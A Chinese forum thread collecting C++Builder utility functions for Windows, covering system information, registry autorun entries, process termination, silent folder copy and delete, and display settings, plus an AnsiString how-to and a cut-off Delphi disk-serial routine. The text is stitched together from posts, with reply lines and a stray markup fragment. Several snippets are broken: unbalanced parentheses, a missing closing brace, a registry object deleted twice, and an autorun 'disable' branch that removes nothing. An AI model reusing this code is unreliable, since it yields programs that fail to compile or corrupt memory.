BCB通用函數庫---根據網上朋友帖子整理的
BCB通用函數庫
// 获得计算机名
AnsiString GetComputerName()
{
char name[MAX_COMPUTERNAME_LENGTH + 1];
DWORD size = MAX_COMPUTERNAME_LENGTH + 1;
if(GetComputerName(name,&size))
return AnsiString(name);
return "";
}
// 获得当前用户名
AnsiString GetUserName()
{
char username[MAX_COMPUTERNAME_LENGTH + 1];
DWORD size = MAX_COMPUTERNAME_LENGTH + 1;
if(GetUserName(username,&size))
return AnsiString(username);
return "";
}
// Windows 文件夹
AnsiString GetWindowsDir()
{
String path;
path.SetLength(MAX_PATH);
path.SetLength(GetWindowsDirectory(path.c_str(),path.Length()));
return path;
}
// System 文件夹
AnsiString GetSystemDir()
{
String path;
path.SetLength(MAX_PATH);
path.SetLength(GetSystemDirectory(path.c_str(),path.Length()));
return path;
}
// Temp 文件夹
AnsiString GetTempDir()
{
String path;
path.SetLength(MAX_PATH);
path.SetLength(GetTempPath(MAX_PATH,path.c_str()));
return path;
}
// 当前文件夹
AnsiString GetCurrDir()
{
String path;
path.SetLength(MAX_PATH);
path.SetLength(GetCurrentDirectory(MAX_PATH,path.c_str()));
return path;
// return ExtractFilePath(Application->ExeName);
// return ExtractFilePath(ParamStr(0));
}
// 获得IE 版本
AnsiString GetIEVersion()
{
AnsiString strReturn;
LPCTSTR Data_Set = "SOFTWARE\\Microsoft\\Internet Explorer\\";
HKEY hKEY;
long ret0 = ::RegOpenKeyEx(HKEY_LOCAL_MACHINE, // root key
Data_Set, //要访问的键的位置;
0, //必须为0;
KEY_READ, //以查询的方式访问注册表;
&hKEY); //hKEY保存此函数所打开的键的句柄。
if(ret0 != ERROR_SUCCESS)
return "Unavailable";
else
{
char ver[MAX_COMPUTERNAME_LENGTH + 1];
DWORD type = REG_SZ;
DWORD cbData = 40;
long ret1 = ::RegQueryValueEx(hKEY, //所打开的键的句柄
"Version", //要查询的键值名
NULL,
&type, //查询数据的类型
ver, //保存所查询的数据
&cbData); //预设置的数据长度
if(ret1 != ERROR_SUCCESS)
return "Unavailable";
else
strReturn = AnsiString(ver);
}
::RegCloseKey(hKEY);
return strReturn;
}
void Jpg2Bmp(String JpgFile, String BmpFile) //将Jpg文件转换为Bmp文件
{
TJPEGImage *MyJPEG = new TJPEGImage;
try
{
MyJPEG->LoadFromFile(JpgFile); //图片位置
Graphics::TBitmap *MyBMP = new Graphics::TBitmap;
MyBMP->Assign(MyJPEG);
MyBMP->SaveToFile(BmpFile); //保存路径
delete MyBMP;
}
__finally
{
delete MyJPEG;
}
}
void Bmp2Jpg(String BmpName, String JpgName) //将bmp文件转换为jpg文件
{
Graphics::TBitmap *MyBMP = new Graphics::TBitmap;
try
{
MyBMP->LoadFromFile(BmpName); //图片位置
TJPEGImage *MyJPEG = new TJPEGImage;
MyJPEG->Assign(MyBMP);
MyJPEG->CompressionQuality = 60; //压缩比例 1..100
MyJPEG->Compress();
MyJPEG->SaveToFile(JpgName); //保存路径
delete MyJPEG;
}
__finally
{
delete MyBMP;
}
}
// DirectX 版本
AnsiString GetDirectXVersion()
{
AnsiString strReturn;
LPCTSTR Data_Set = "SOFTWARE\\Microsoft\\DirectX\\";
HKEY hKEY;
long ret0 = ::RegOpenKeyEx(HKEY_LOCAL_MACHINE, // root key
Data_Set, //要访问的键的位置;
0, //必须为0;
KEY_READ, //以查询的方式访问注册表;
&hKEY); //hKEY保存此函数所打开的键的句柄。
if(ret0 != ERROR_SUCCESS)
return "Unavailable";
else
{
char ver[MAX_COMPUTERNAME_LENGTH + 1];
DWORD type = REG_SZ;
DWORD cbData = 40;
long ret1 = ::RegQueryValueEx(hKEY, //所打开的键的句柄
"Version", //要查询的键值名
NULL,
&type, //查询数据的类型
ver, //保存所查询的数据
&cbData); //预设置的数据长度
if(ret1 != ERROR_SUCCESS)
return "Unavailable";
else
strReturn = AnsiString(ver);
}
::RegCloseKey(hKEY);
return strReturn;
}
// 开机后自动运行程序设置
#include <Registry.hpp>
void __fastcall AutoRunFromStart(bool Set,AnsiString Title, AnsiString ExeFile)
{
TRegistry *Reg;
Reg = new TRegistry();
Reg->RootKey = HKEY_LOCAL_MACHINE;
if(Set)
{
if(Reg->OpenKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",false))
Reg->WriteString(Title,ExeFile);
delete Reg;
}
else
{
if(Reg->OpenKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",false))
Reg->WriteString(Title,"; " + ExeFile);
}
delete Reg;
}
// 根据窗口句柄获得窗口的Caption
AnsiString GetWndCaption(HWND hWnd)
{
AnsiString strCaption;
if(hWnd)
{
int Length = (int)SendMessage(hWnd,WM_GETTEXTLENGTH,0,0);
if(Length)
{
char *buf = new char[Length+2];
buf[Length] = '\0';
buf[Length+1] = '\0';
SendMessage(hWnd,WM_GETTEXT,Length+1,(LPARAM)buf);
strCaption = AnsiString(buf);
delete buf;
}
}
return strCaption;
}
// 根据窗口句柄获得窗口的类名
AnsiString GetWndClassName(HWND hWnd)
{
char buffer[256];
GetClassName(hWnd,buffer,255);
return AnsiString(buffer);
}
// 窗口位于最上
void __fastcall SetStayOnTop(bool Set,void *Handle)
{
if(Set)
SetWindowPos(Handle,HWND_TOPMOST,0,0,0,0,SWP_NOMOVE|SWP_NOSIZE);
else
SetWindowPos(Handle,HWND_NOTOPMOST,0,0,0,0,SWP_NOMOVE|SWP_NOSIZE);
}
// 是否显示在任务栏
void __fastcall ShowOnTaskbar(bool Set,void *Handle)
{
if(Set)
ShowWindow(Handle,SW_SHOW);
else
ShowWindow(Handle,SW_HIDE);
}
// 获得子网掩码
#include <Registry.hpp>
AnsiString GetSubnetMask()
{
AnsiString SubnetMask;
TRegistry *reg = new TRegistry;
DWORD Version = GetVersion();
if(Version < 0x80000000) //WindowsNT
{
reg->RootKey = HKEY_LOCAL_MACHINE;
if(reg->OpenKeyReadOnly("SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Linkage"))
{
int BuffLength = reg->GetDataSize("Bind");
char *Buff = new char[BuffLength+1];
reg->ReadBinaryData("Bind",Buff,BuffLength);
AnsiString Interface = (AnsiString)Buff;
Interface = Interface.SubString(9,Interface.Length()-8);
delete [] Buff;
reg->CloseKey();
if(reg->OpenKeyReadOnly("SYSTEM\\CurrentControlSet\\Services\\"+Interface+"\\Parameters\\Tcpip"))
{
BuffLength = reg->GetDataSize("SubnetMask");
Buff = new char[BuffLength+1];
reg->ReadBinaryData("SubnetMask",Buff,BuffLength);
SubnetMask = (AnsiString)Buff;
delete [] Buff;
}
}
}
else //Windows9X
{
int i;
reg->RootKey = HKEY_LOCAL_MACHINE;
TStringList *ent = new TStringList;
if(reg->OpenKeyReadOnly("System\\CurrentControlSet\\Services\\Class\\NetTrans"))
reg->GetKeyNames(ent);
reg->CloseKey();
for(i=0;i<ent->Count ;i++)
{
reg->CloseKey();
if(reg->OpenKeyReadOnly("System\\CurrentControlSet\\Services\\Class\\NetTrans\\" +ent->Strings[i]))
{
AnsiString ip = reg->ReadString("IPAddress");
AnsiString node = reg->ReadString("NodeType");
if(ip != "0.0.0.0" && ip != "" && node == "1")
{
SubnetMask = reg->ReadString("IPMask");
if(SubnetMask != "" && SubnetMask != "0.0.0.0")
break;
}
}
}
delete ent;
}
delete reg;
return SubnetMask;
}
#include<winsock.h>
AnsiString GetLocalIP()
{
//Start up WinSock
WORD wVersionRequested = MAKEWORD(1,1);;
WSADATA wsaData;
WSAStartup(wVersionRequested, &wsaData);
hostent *p;
char s[128];
char *p2;
gethostname(s,128);//获取指定计算机的名字
p = gethostbyname(s);
p2 = inet_ntoa(*((in_addr *)p->h_addr)); //获取指定计算机的IP地址
WSACleanup();
return p2;
}
// 打开、关闭光驱
#include "mmsystem.h"
void CDRomOpen(BOOL bOpenDrive,TCHAR cDrive)
{
MCI_OPEN_PARMS open;
MCI_STATUS_PARMS status;
DWORD flags;
TCHAR szDriveName[4];
strcpy(szDriveName,"?:");
::ZeroMemory(&open,sizeof(MCI_OPEN_PARMS));
open.lpstrDeviceType = (LPCSTR)MCI_DEVTYPE_CD_AUDIO;
szDriveName[0] = cDrive;
open.lpstrElementName = szDriveName;
flags = MCI_OPEN_TYPE + MCI_OPEN_TYPE_ID + MCI_OPEN_ELEMENT + MCI_OPEN_SHAREABLE;
if(!mciSendCommand(0,MCI_OPEN,flags,(unsigned long)&open))
{
status.dwItem = MCI_STATUS_READY;
if(bOpenDrive)
mciSendCommand(open.wDeviceID,MCI_SET,MCI_SET_DOOR_OPEN,0);
else
mciSendCommand(open.wDeviceID,MCI_SET,MCI_SET_DOOR_CLOSED,0);
mciSendCommand(open.wDeviceID,MCI_CLOSE,MCI_WAIT,0);
}
}
// 得到鼠标指针的位置
POINT CurPos;
GetCursorPos(&CurPos);
// 获得端口
#include <Registry.hpp>
void __fastcall GetPort(TStrings *List)
{
TRegistry *reg = new TRegistry;
reg->RootKey = HKEY_LOCAL_MACHINE;
reg->OpenKey("HARDWARE\\DEVICEMAP\\SERIALCOMM",true);
reg->GetValueNames(List);
List->BeginUpdate();
for(int i=0;i<List->Count;i++)
List->Strings[i] = reg->ReadString(List->Strings[i]);
List->EndUpdate();
delete reg;
}
// 判断操作系统
enum CWin32Type{wt3X, wtNT3, wt95, wt98, wtME, wtNT4, wt2000, wtXP, /*wtNS,*/ wtUnknown};
CWin32Type getWindowsVersion()
{
CWin32Type Result;
OSVERSIONINFO info;
info.dwOSVersionInfoSize = sizeof(info);
GetVersionEx(&info);
switch(info.dwPlatformId)
{
case VER_PLATFORM_WIN32s: Result = wt3X; break;
case VER_PLATFORM_WIN32_WINDOWS:
{
if(info.dwMajorVersion == 4)
{
if(info.dwMinorVersion == 0)
Result = wt95;
else if(info.dwMinorVersion == 10)
Result = wt98;
else if(info.dwMinorVersion == 90)
Result = wtME;
}
break;
}
case VER_PLATFORM_WIN32_NT:
{
if(info.dwMajorVersion == 3) // && info.dwMinorVersion == 51)
Result = wtNT3;
else if(info.dwMajorVersion == 4) // && info.dwMinorVersion == 0)
Result = wtNT4;
else if(info.dwMajorVersion == 5)
{
if(info.dwMinorVersion == 0)
Result = wt2000;
else if(info.dwMinorVersion == 1)
Result = wtXP;
/*else if(info.dwMinorVersion ==)
Result = wtNS;*/
}
break;
}
}
return Result;
}
// 结束一个进程
void __fastcall ProcessKill(int pPid)
{
HANDLE ps = OpenProcess(1,false,pPid);
if(ps && TerminateProcess(ps,-9))
{
MessageBox(Handle,"中止成功!","信息",MB_OK|MB_ICONINFORMATION);
}
else
{
MessageBox(Handle,"中止失败!","信息",MB_OK|MB_ICONWARNING);
}
}
String __fastcall TfrmTest::GetVersionInfo(String FileName)
{
/**************************************************************
函数名:GetVersionInfo
用途:返回指定文件的版本信息
**************************************************************/
FileName=ExtractFilePath(Application->ExeName)+FileName;
if(!FileExists(FileName))
{
//将要更新的文件不存在
return 0;
}
//首先获得版本信息资源的长度
DWORD dwHandle,InfoSize;
String strVer;
InfoSize = GetFileVersionInfoSize(FileName.c_str(),&dwHandle);
//将版本信息资源读入缓冲区
char *InfoBuf = new char[InfoSize];
GetFileVersionInfo(FileName.c_str(),0,InfoSize,InfoBuf);
//获得生成文件使用的代码页及字符集信息
char *pInfoVal;
unsigned int dwInfoValSize;
try
{
VerQueryValue(InfoBuf,"\\VarFileInfo\\Translation",&((void *)pInfoVal), &dwInfoValSize);
AnsiString V = "\\StringFileInfo\\" +IntToHex(*((unsigned short int *) pInfoVal),4) +IntToHex(*((unsigned short int *) &pInfoVal[2]),4)+ "\\FileVersion";
//获得具体的版本号
VerQueryValue(InfoBuf, V.c_str(),&((void *)pInfoVal),&dwInfoValSize);
strVer=AnsiString(pInfoVal).SetLength(dwInfoValSize-1);
delete InfoBuf;
}
catch(...)
{
return 0;
}
if(strVer.Length()>10)
{
return 0;
}
String TmpStr;
//截取.
for (int i=1;i<=strVer.Length();i++)
{
if(strVer.SubString(i,1)!=".")
{
TmpStr=TmpStr+strVer.SubString(i,1);
}
else if((strVer.SubString(i,1)==".")&&(i==2))
{
TmpStr=TmpStr+strVer.SubString(i,1);
}
}
//截取,
if(strVer.Pos(",")!=0)
{
TmpStr="";
for (int i=1;i<=strVer.Length();i++)
{
if((strVer.SubString(i,1)!=",")&&(strVer.SubString(i,1)!=" "))
{
TmpStr=TmpStr+strVer.SubString(i,1);
}
else if((strVer.SubString(i,1)==",")&&(i==2))
{
TmpStr=TmpStr+".";
}
}
}
strVer=TmpStr;
return strVer;
}
//---------------------------------------------------------------------------
// 改变分辨率
void DynamicResolution(int x,int y,int c,int h)
{
DEVMODE CurMode;
CurMode.dmPelsWidth = x;
CurMode.dmPelsHeight = y;
CurMode.dmBitsPerPel = c;
CurMode.dmDisplayFrequency = h;
CurMode.dmFields = DM_BITSPERPEL | DM_PELSWIDTH | DM_PELSHEIGHT | DM_DISPLAYFREQUENCY;
if(ChangeDisplaySettings(&CurMode, CDS_UPDATEREGISTRY) == DISP_CHANGE_SUCCESSFUL)
MessageBox(Handle,"设置成功!","信息",MB_OK|MB_ICONINFORMATION);
else
MessageBox(Handle,"设置失败!","信息",MB_OK|MB_ICONINFORMATION);
}
// 显示信息,要返回其他类型的改改就可以了
String get1() // 获得分辨率
{
TDeviceMode lpDevMode;
EnumDisplaySettings(NULL,ENUM_CURRENT_SETTINGS,&lpDevMode);
return String(lpDevMode.dmPelsWidth) + " x " + String(lpDevMode.dmPelsHeight));
}
String get2() // 刷新率
{
TDeviceMode lpDevMode;
EnumDisplaySettings(NULL,ENUM_CURRENT_SETTINGS,&lpDevMode);
return String(lpDevMode.dmDisplayFrequency) + " Hz");
}
String get3() // 颜色
{
TDeviceMode lpDevMode;
EnumDisplaySettings(NULL,ENUM_CURRENT_SETTINGS,&lpDevMode);
switch(lpDevMode.dmBitsPerPel)
{
case 2: return " 4 色 ";
case 4: return " 16 色 ";
case 8: return " 256 色";
case 16: return " 16 位增强色";
case 24: return " 24 位真彩色";
case 32: return " 32 位真彩色";
default: break;
}
}
//关闭应用程序
bool CloseApp(String ClassName)
{
HWND ExeHandle = FindWindow(ClassName.c_str(),0);
if(ExeHandle)
{
PostMessage(ExeHandle, WM_QUIT, 0, 0);
return true;
}
return false;
}
这些都好像在www.chinabcb.com中的吧!
window 2000/XP 下窗口置前台!!!
void __fastcall SetForegroundWindowEx()
{
if(IsWindowVisible(Handle)==0)
Application->Restore();
SetWindowPos(Handle,HWND_TOPMOST,0,0,0,0,SWP_NOMOVE|SWP_NOSIZE);
POINT xy;
GetCursorPos(&xy);
ShowCursor(false);
static int clickThis;
if(clickThis==100)
clickThis=105;
else
clickThis=100;
SetCursorPos(Left+clickThis,Top+Height-ClientHeight-4);
mouse_event(MOUSEEVENTF_ABSOLUTE |MOUSEEVENTF_LEFTUP|MOUSEEVENTF_LEFTDOWN,0,0,0,0);
SetWindowPos(Handle,HWND_NOTOPMOST,0,0,0,0,SWP_NOMOVE|SWP_NOSIZE);
SetCursorPos(xy.x,xy.y);
ShowCursor(true);
}
]]>
// 显示Windows的关于对话框
void About()
{
ShellAbout(Application->Handle, Application->MainForm->Caption.c_str(),"",Application->Icon->Handle);
}
void SetEditCell(TStringGrid *sg,int x,int y)
{
//任一CELLS获得焦点,并可直接使用键盘输入
TGridRect myRect;
myRect.Left = x;
myRect.Top = y;
myRect.Right = x;
myRect.Bottom = y;
sg->Selection = myRect;
sg->Options<<goEditing;
SendMessage(sg->Handle,WM_LBUTTONDOWN,0,0);
}
//------------------------------------------------------------------------
void DeleteRow(TStringGrid *sg,int x) // 删除第x行(0...)
{
for (int y=0;y<sg->ColCount;y++)
{
TStringList *ss=new TStringList();
ss->AddStrings(sg->Cols[y]);
ss->Add("");
ss->Delete(x);
sg->Cols[y]=ss;
delete ss;
}
这是别人写的,没测试过
//复制整个目录
void Copy_dir(AnsiString Source, AnsiString Target)
{
SHFILEOPSTRUCT OpStruc;
{
OpStruc.hwnd = Handle;
OpStruc.wFunc = FO_COPY; //FO_COPY, FO_MOVE, FO_DELETE
OpStruc.fFlags = FOF_SIMPLEPROGRESS;
OpStruc.pFrom = Source.c_str();
OpStruc.pTo = Target.c_str();
OpStruc.lpszProgressTitle = "正在复制文件……";
}
SHFileOperation(&OpStruc);
}
收藏!
顶!!!
删除c:\temp\a\ 这个目录和其子目录
void __fastcall TForm1::Button1Click(TObject *Sender)
{
SHFILEOPSTRUCT OpStruc;
{
OpStruc.hwnd = Handle;
OpStruc.wFunc = FO_DELETE; //FO_COPY, FO_MOVE, FO_DELETE,FO_RENAME
OpStruc.fFlags = FOF_NOCONFIRMATION;//设置自动确认,这样就可以不出现对话框了
char From[]="c:\\temp\\a\0\0"; // 删除c:\temp\a\ 这个目录和其子目录
OpStruc.pFrom =From; //设置源文件或目录
OpStruc.pTo =NULL; //设置目标文件或目录这里是删除文件所以可以忽略
//另外还有其他,在这里可以不设
}
//执行函数
SHFileOperation(&OpStruc);
}
//---------------------------------------------------------------------------
int CopyFilesFun(String SourceDir,String DestDir)
{
TSHFileOpStruct *Dir;
String strTemp;
Dir = (TSHFileOpStruct*)malloc(sizeof(TSHFileOpStruct));
try
{
Dir->hwnd = Application->Handle;
Dir->wFunc = FO_COPY;
strTemp=SourceDir+"*.*"+'\0';
Dir->pFrom =strTemp.c_str();
Dir->pTo = DestDir.c_str();
Dir->fFlags = FOF_NOCONFIRMMKDIR+FOF_SILENT;
SHFileOperation(Dir);
}
catch(...){if(Dir!=NULL){free(Dir);}}
if(Dir!=NULL){free(Dir);}
return 0;
}
//---------------------------------------------------------------------------
int DeleteFileFun(String FileDir)
{
TSHFileOpStruct *Dir;
String strTemp;
Dir = (TSHFileOpStruct*)malloc(sizeof(TSHFileOpStruct));
try
{
Dir->hwnd = Application->Handle;
Dir->wFunc = FO_DELETE;
strTemp=FileDir+"*.*"+'\0';
Dir->pFrom =strTemp.c_str();
Dir->pTo = FileDir.c_str();
Dir->fFlags = FOF_NOCONFIRMMKDIR+FOF_SILENT+FOF_NOCONFIRMATION;
SHFileOperation(Dir);
}
catch(...){if(Dir!=NULL){free(Dir);}}
if(Dir!=NULL){free(Dir);}
return 0;
}
//---------------------------------------------------------------------------
关于AnsiSting的使用大全(1)
arrow:
Ansistring 转 char
代码:
void __fastcall TForm1::Button1Click(TObject *Sender)
{
AnsiString Test = "哈哈";
char *chr = Test.c_str();
}
char转Ansistring
代码:
#include <windef.h>
void __fastcall TForm1::Button1Click(TObject *Sender)
{
AnsiString str = "Sample";
char chr[MAX_PATH];
strcpy( chr , str.c_str() );
}
ansistring转int
代码:
void __fastcall TForm1::Button1Click(TObject *Sender)
{
AnsiString Test = "123";
int i = StrToInt( Test );
}
int转ansistring
代码:
void __fastcall TForm1::Button1Click(TObject *Sender)
{
int i = 123;
AnsiString str = IntToStr( i );
}
ansisting转double
代码:
void __fastcall TForm1::Button1Click(TObject *Sender)
{
AnsiString Test = "123";
long double d = StrToFloat( Test );
}
double转ansistring
代码:
void __fastcall TForm1::Button1Click(TObject *Sender)
{
double d = 123.456;
AnsiString str = FloatToStr( d );
}
double转ansistring并四舍五入
代码:
void __fastcall TForm1::Button1Click(TObject *Sender)
{
long double d = 123.456121212;
AnsiString str = FloatToStrF( d , ffFixed ,5 , 4 );
//说明FloatTostrF里5代表从第几个数字的后一位开始四舍五入,4代表取4位小数。
//执行后得到str是123.4600。:roll:
}
double转ansistring使用类似vb的format函数
代码:
void __fastcall TForm1::Button1Click(TObject *Sender)
{
double d = 123.456;
AnsiString str = FormatFloat( "000000.00" , d );
}
//得到 000123.45,当然你可以使用"# . , ; E+ E- xx"等符号,你自己试试 :wink:
ansi转Tclor型(从现在开始AnsiSting简称ansi
代码:
void __fastcall TForm1::Button1Click(TObject *Sender)
{
AnsiString Test = "0x00FF8080";
TColor Col = StringToColor( Test );
}
Tclor转ansi
代码:
void __fastcall TForm1::Button1Click(TObject *Sender)
{
TColor Col = 0x00FF8080;
AnsiString str = ColorToString( Col );
}
ansi的一部分消除,哈哈,类似vb里的mid函数,不过是反的~
代码:
void __fastcall TForm1::Button1Click(TObject *Sender)
{
AnsiString Test = "ABCDEF";
int First = 3; // 消除制定开头
int Length = 2; // 消除制定长度
AnsiString Dstr = Test.Delete( First , Length );
}//得到ABEF
ansi的一部分插入
代码:
void __fastcall TForm1::Button1Click(TObject *Sender)
{
AnsiString Test = "ABCDEF";
AnsiString Ins = "12345"; // 插入串
int Pos = 3; // 在哪插
AnsiString Istr = Test.Insert( Ins , Pos );
//得到AB12345CDEF
}
取得ansi某一位字符
代码:
void __fastcall TForm1::Button1Click(TObject *Sender)
{
AnsiString Test = "ABCDEF";
AnsiString Npos = Test[3];//得到C
}
取得ansi里最后一个字符
代码:
void __fastcall TForm1::Button1Click(TObject *Sender)
{
AnsiString Test = "ABCDEF";
char *Lstr = Test.AnsiLastChar();//得到F
}
取出ansi字符,这才是vb的mid函数!
代码:
void __fastcall TForm1::Button1Click(TObject *Sender)
{
AnsiString Test = "ABCDEF";
int First = 3; // 3开始取
int Length = 2; // 取2位
AnsiString Getstr = Test.SubString( First , Length );
//得到CD
}
ansi的字母 是否相同比较
代码:
void __fastcall TForm1::Button1Click(TObject *Sender)
{
AnsiString Test = "ABCDEF";
AnsiString Sample = "abcdef";
int Result = Test.AnsiCompare( Sample );
返回1,不同!分大小写。
}
代码:
void __fastcall TForm1::Button1Click(TObject *Sender)
{
AnsiString Test = "ABCDEF";
AnsiString Sample = "abcdef";
int Result = Test.AnsiCompareIC( Sample );
//返回0,相同!没有分大小写,哈哈
}
在ansi中寻找字符
代码:
void __fastcall TForm1::Button1Click(TObject *Sender)
{
AnsiString Test = "ABCDEF";
AnsiString Sample = "E";
int Result = Test.Pos( Sample );
//返回5,如果你写Sample="haha",就返回0,找不到,哈哈
}
在ansi中找字符串,和上一个类似
代码:
void __fastcall TForm1::Button1Click(TObject *Sender)
{
AnsiString Test = "ABCDEF";
AnsiString Sample = "EF";
int Result = Test.Pos( Sample );
//返回5,即E字符的位置
}
判断字符串长度,类似vb的len
代码:
void __fastcall TForm1::Button1Click(TObject *Sender)
{
AnsiString Test = "拿金币来";
int Len = Test.Length();
//返回8
}
取得字符串,类似vb的left
代码:
void __fastcall TForm1::Button1Click(TObject *Sender)
{
AnsiString Test = "小苹果然看了这篇文章";
AnsiString SLstr = Test.SetLength(6);
}//得到“小苹果”
检测双字节字串
代码:
void __fastcall TForm1::Button1Click(TObject *Sender)
{
AnsiString ChkStr = "你好";
int ChkPos = 1 ;
if ( ByteType( ChkStr , ChkPos ) == mbSingleByte ){
Edit1->Text="0";
}
else{
Edit1->Text="1";
}//返回1,如果你写ChkStr="fxxk",就返回0
}
检测空字符串
代码:
void __fastcall TForm1::Button1Click(TObject *Sender)
{
AnsiString Test = "";
bool chk = Test.IsEmpty();
if (chk )
Edit1->Text="1";//返回1
}
全部便小写vs全部便大写
代码:
void __fastcall TForm1::Button1Click(TObject *Sender)
{
AnsiString Test = "ABCdef";
AnsiString Lstr = Test.LowerCase();
}
代码:
void __fastcall TForm1::Button1Click(TObject *Sender)
{
AnsiString Test = "ABCdef";
AnsiString Ustr = Test.UpperCase();
}
类似vb中Trim 的去空格函数
代码:
void __fastcall TForm1::Button1Click(TObject *Sender)
{
AnsiString Test = " ABCDEF ";
AnsiString TLstr = Test.TrimLeft();
AnsiString TRstr = Test.TrimRight();
AnsiString Tstr = Test.Trim();
}
但是,这个处理不了全角的空格 怎么办ni~
代码:
AnsiString __fastcall TForm1::TrimStr( AnsiString Tm , AnsiString LR )
{
// LR … L:左除去 R:右除去 B:dou除去
int len;
// 左除去
if ( LR == "L" || LR == "B" ){
len = Tm.Length();
while ( Tm.SubString(1,1) == " " || Tm.SubString(1,2) == ""){
// 半角除去
if ( Tm.SubString(1,1) == " " ){
Tm = Tm.SubString(2,len);
len = Tm.Length();
}
// 全角除去
else if ( Tm.SubString(1,2) == "" ){
Tm = Tm.SubString(3,len);
len = Tm.Length();
}
}
}
// 右除去
if ( LR == "R" || LR == "B" ){
len = Tm.Length();
while ( Tm.SubString(len,1) == " " || Tm.SubString(len-1,2) == "" ){
// 半角除去
if ( Tm.SubString(len,1) == " " ){
len = Tm.Length();
Tm = Tm.SubString(1,len-1);
len = Tm.Length();
}
// 全角除去
else if ( Tm.SubString(len-1,2) == "" ){
len = Tm.Length();
Tm = Tm.SubString(1,len-2);
len = Tm.Length();
}
}
}
return Tm;
}
void __fastcall TForm1::Button1Click(TObject *Sender)
{
AnsiString Test = "拳脚";
AnsiString Ret = TrimStr(Test,"B")
}
相同字符重复输入
代码:
void __fastcall TForm1::Button1Click(TObject *Sender)
{
AnsiString Soc = AnsiString::StringOfChar( '*' , 100 );
Edit1->Text=Soc ;//显示100个*
}
关于AnsiSting的使用大全(2)
字符串替换
代码:
void __fastcall TForm1::Button1Click(TObject *Sender)
{
AnsiString Str = "Borland C++ Builder is free";
AnsiString From = "C++ Builder";
AnsiString To = "Delphi";
AnsiString Result;
Result = StringReplace( Str, From, To, TReplaceFlags() <<
rfReplaceAll << rfIgnoreCase );
//<<后是参数,得到Borland Delphi is free
}
全角变半角
代码:
AnsiString Zen = "1234567890";
int Len = Zen.Length();
char buf[MAX_PATH];
ZeroMemory( buf, sizeof( buf ) );
LCMapString( GetUserDefaultLCID(), LCMAP_HALFWIDTH, Zen.c_str(), Len, buf, sizeof( buf ) );
AnsiString Han = AnsiString( buf );
Edit1->Text=Han;
半角变全角
代码:
void __fastcall TForm1::Button1Click(TObject *Sender)
{
AnsiString Han = "1234567890";
int Len = Han.Length();
char buf[MAX_PATH];
ZeroMemory( buf, sizeof( buf ) );
LCMapString( GetUserDefaultLCID(), LCMAP_FULLWIDTH, Han.c_str(), Len, buf, sizeof( buf ) );
AnsiString Zen = AnsiString( buf );
}
设置日期格式为YYYY-MM-DD
DateSeparator = '-';
ShortDateFormat = "yyyy-mm-dd";
让控件随窗口尺寸更改而更改(by jishiping)
用 ScaleBy(int M, int D); 函数就可以了。例如窗口放大到125%: ScaleBy(125, 100);
{=========================================================================
功 能: 得到硬盘序列号
参 数:
返回值: 硬盘序列号
备 注: 此函数在95,98下要将system下的smartvsd.vxd先复制到Windows
的IOSUBSYS目录下,重新启动后才可以使用。===========================================================================}
function GetIdeDiskSerialNumber : String;
type
TSrbIoControl = packed record
HeaderLength : ULONG;
Signature : Array[0..7] of Char;
Timeout : ULONG;
ControlCode : ULONG;
ReturnCode : ULONG;
Length : ULONG;
end;
SRB_IO_CONTROL = TSrbIoControl;
PSrbIoControl = ^TSrbIoControl;
TIDERegs = packed record
bFeaturesReg : Byte; // Used for specifying SMART "commands".
bSectorCountReg : Byte; // IDE sector count register
bSectorNumberReg : Byte; // IDE sector number register
bCylLowReg : Byte; // IDE low order cylinder value
bCylHighReg : Byte; // IDE high order cylinder value
bDriveHeadReg : Byte; // IDE drive/head register
bCommandReg : Byte; // Actual IDE command.
bReserved : Byte; // reserved. Must be zero.
end;
IDEREGS = TIDERegs;
PIDERegs = ^TIDERegs;
TSendCmdInParams = packed record
cBufferSize : DWORD;
irDriveRegs : TIDERegs;
bDriveNumber : Byte;
bReserved : Array[0..2] of Byte;
dwReserved : Array[0..3] of DWORD;
bBuffer : Array[0..0] of Byte;
end;
SENDCMDINPARAMS = TSendCmdInParams;
PSendCmdInParams = ^TSendCmdInParams;
TIdSector = packed record
wGenConfig : Word;
wNumCyls : Word;
wReserved : Word;
wNumHeads : Word;
wBytesPerTrack : Word;
wBytesPerSector : Word;
wSectorsPerTrack : Word;
wVendorUnique : Array[0..2] of Word;
sSerialNumber : Array[0..19] of Char;
wBufferType : Word;
wBufferSize : Word;
wECCSize : Word;
sFirmwareRev : Array[0..7] of Char;
sModelNumber : Array[0..39] of Char;
wMoreVendorUnique : Word;
wDoubleWordIO : Word;
wCapabilities : Word;
wReserved1 : Word;
wPIOTiming : Word;
wDMATiming : Word;
wBS : Word;
wNumCurrentCyls : Word;
wNumCurrentHeads : Word;
wNumCurrentSectorsPerTrack : Word;
ulCurrentSectorCapacity : ULONG;
wMultSectorStuff : Word;
ulTotalAddressableSectors : ULONG;
wSingleWordDMA : Word;
wMultiWordDMA : Word;
bReserved : Array[0..127] of Byte;
end;
PIdSector = ^TIdSector;
const
IDE_ID_FUNCTION = $EC;
IDENTIFY_BUFFER_SIZE = 512;
DFP_RECEIVE_DRIVE_DATA = $0007c088;
IOCTL_SCSI_MINIPORT = $0004d008;
IOCTL_SCSI_MINIPORT_IDENTIFY = $001b0501;
DataSize = sizeof(TSendCmdInParams)-1+IDENTIFY_BUFFER_SIZE;
BufferSize = SizeOf(SRB_IO_CONTROL)+DataSize;
W9xBufferSize = IDENTIFY_BUFFER_SIZE+16;
var
hDevice : THandle;
cbBytesReturned : DWORD;
pInData : PSendCmdInParams;
pOutData : Pointer; // PSendCmdOutParams
Buffer : Array[0..BufferSize-1] of Byte;
srbControl : TSrbIoControl absolute Buffer;
procedure ChangeByteOrder( var Data; Size : Integer );
var ptr : PChar;
i : Integer;
c : Char;
begin
ptr := @Data;
for i := 0 to (Size shr 1)-1 do
begin
c := ptr^;
ptr^ := (ptr+1)^;
(ptr+1)^ := c;
Inc(ptr,2);
end;
end;
begin
Result := '';
FillChar(Buffer,BufferSize,#0);
if Win32Platform=VER_PLATFORM_WIN32_NT then
begin // Windows NT, Windows 2000
// Get SCSI port handle
hDevice := CreateFile( '\\.\Scsi0:',
GENERIC_READ or GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE,
nil, OPEN_EXISTING, 0, 0 );
if hDevice=INVALID_HANDLE_VALUE then Exit;
try
srbControl.HeaderLength := SizeOf(SRB_IO_CONTROL);
System.Move('SCSIDISK',srbControl.Signature,8);
srbControl.Timeout := 2;
